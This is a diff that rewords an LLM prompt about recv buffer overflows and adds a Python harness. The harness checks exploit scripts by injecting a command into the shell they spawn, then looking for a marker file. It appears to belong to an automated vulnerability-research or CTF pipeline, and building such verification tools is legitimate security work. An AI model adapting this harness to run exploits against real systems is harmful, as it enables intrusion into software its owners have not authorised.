-            "content": "Please analyze whether the following program contains the risk of buffer overflow and only check recv function. If it actually exists then answer with 'yes, reason here', or else output 'no recv vulnerability'.\n{code}"
+            "content": "Please analyze whether the following program contains the risk of overflow and only check recv function. If it actually exists then answer with 'yes, reason here', or else output 'no recv vulnerability'.\n{code}"
         }
     },
     {

src/verify_exp.py

@@ -0,0 +1,146 @@
+
+import os
+import shutil
+import sys
+import subprocess
+import re
+import time
+RED = '\033[91m'
+GREEN = '\033[92m'
+YELLOW = '\033[93m'
+BLUE = '\033[94m' 
+RESET = '\033[0m'  
+
+
+INJECT_SCRIPT_NAME="inject_tmp.py"
+WIN_FILE_NAME="win"
+VERIFY_TIMEOUT=0.5
+
+def init_exp_all(src_path,dest_path):
+    print(f"Try to copy exp  ({src_path} -> {dest_path})")
+    try:
+        for f in os.listdir(src_path):
+            if(f[-3:]==".py"):
+                src_file_path=os.path.join(src_path,f)
+                dest_file_path=os.path.join(dest_path,f)
+                shutil.copy(src_file_path,dest_file_path)
+                print(f"{GREEN}Copy successful ({src_file_path} -> {dest_file_path}){RESET}")
+    except Exception as msg:
+        print(f"{RED}{msg}{RESET}")
+        print(f"{RED}Exp copy failed{RESET}")
+        return -1
+
+def init_exp(elf_path,dest_path):
+    elf_path+=".py"
+    dest_path=os.path.join(dest_path,'exp.py')
+    print(f"Try to copy exp  ({elf_path} -> {dest_path})")
+    try:
+        shutil.copy(elf_path,dest_path)
+        print(f"{GREEN}Copy successful ({elf_path} -> {dest_path}){RESET}")
+    except Exception as msg:
+        print(f"{RED}{msg}{RESET}")
+        print(f"{RED}Exp copy failed{RESET}")
+        return -1   
+    
+def verify_exp(elf_path,exp_name=""):
+    tmp_py="" 
+    try:
+        dir_path=os.path.dirname(elf_path)
+
+        #确定exp的脚本
+        if(exp_name == ""):
+            script_exp_name=[]
+            for f in os.listdir(dir_path):
+                if(f[-3:]==".py"):script_exp_name.append(f)
+            script_counts=len(script_exp_name)
+            assert(script_counts),"There is no python script under the directory"
+            if(script_counts==1):
+                exp_name=script_exp_name[0]
+            else:
+                print(f"{YELLOW}There are multiple scripts, please select one{RESET}")
+                for i in range(script_counts):
+                    print(f"{i} -> {script_exp_name[i]}")
+                idx=int(input("idx:"))
+                assert(0<=idx<script_counts),"Index wrong"
+                exp_name=script_exp_name[idx]
+                
+        print(f"{BLUE}[*]Found {exp_name} -> Attack ...{RESET}")
+    
+        exp_path=os.path.join(dir_path,exp_name)
+    #注入判断语句
+        with open(exp_path,"r") as f:
+            script_content=f.read()
+        #匹配连接的变量名称
+        pattern = r"^(?!#)\s*(\w+).interactive"
+        match=re.search(pattern ,script_content,re.MULTILINE)
+        assert(match),f"Failed to match the script RE" 
+        
+        # print(script_content)
+        
+        PID_virtualname=match.group(1)
+        #注入利用win文件判断，先清除win文件
+        if( os.path.exists(WIN_FILE_NAME) and os.path.isfile(WIN_FILE_NAME) ):os.remove(WIN_FILE_NAME)
+
+        script_split=script_content.split("\n")
+        inject_payload=f"""\n
+\t{PID_virtualname}.sendline(b"clear;echo 'Successful Attack {elf_path}' >> {WIN_FILE_NAME};")
+\tstrs={PID_virtualname}.recvuntil(b'mowen',timeout={VERIFY_TIMEOUT})
+\tif(strs==b''):{PID_virtualname}.close()
+except:
+\tpass
+finally:
+\t{PID_virtualname}.close()
+        """
+        tmp_py=os.path.join(dir_path,INJECT_SCRIPT_NAME)
+        with open(tmp_py,"w+") as f:
+            f.write("try: \n")
+            for s in script_split:
+                if("interactive" in s):
+                    f.write(inject_payload+"\n")
+                    continue
+                f.write("\t"+s+"\n")
+                
+        print(f"Inject payload successful! Start program...")
+        #启动elf
+        cmd=[elf_path]
+        elf_process=subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
+
+        #开始执行exp
+        print(f"Run payload...")
+
+        cmd=f"cd {dir_path} ;python3 {INJECT_SCRIPT_NAME};"
+        old_time=time.time()
+        subprocess.run(cmd,check=True,shell=True,capture_output=True)
+        run_time=time.time()-old_time
+        print(f"run end process({run_time:.3f})")
+
+        assert(os.path.exists(WIN_FILE_NAME)),f"Failed to attack" 
+
+        with open(WIN_FILE_NAME,"r") as f:
+            print(f"{GREEN}{f.read()}{RESET}")
+            
+        #关闭进程
+        elf_process.kill()
+        elf_process.wait()
+    except AssertionError as msg:
+        print(f"{RED}{msg}{RESET}")
+        return -1
+    except Exception as msg:
+        print(f"{RED}{msg}{RESET}")
+        return -1
+    finally:
+        # with open(tmp_py,"r") as f:
+        #     print(f.read())
+        #删除文件
+        if(os.path.exists(WIN_FILE_NAME)):os.remove(WIN_FILE_NAME) 
+        if(os.path.exists(tmp_py)):os.remove(tmp_py)
+
+            
+
+
+
+
+if __name__ == "__main__":
+    elf_path=sys.argv[1]
+    init_exp(os.path.dirname(elf_path),"./")
+    verify_exp(elf_path)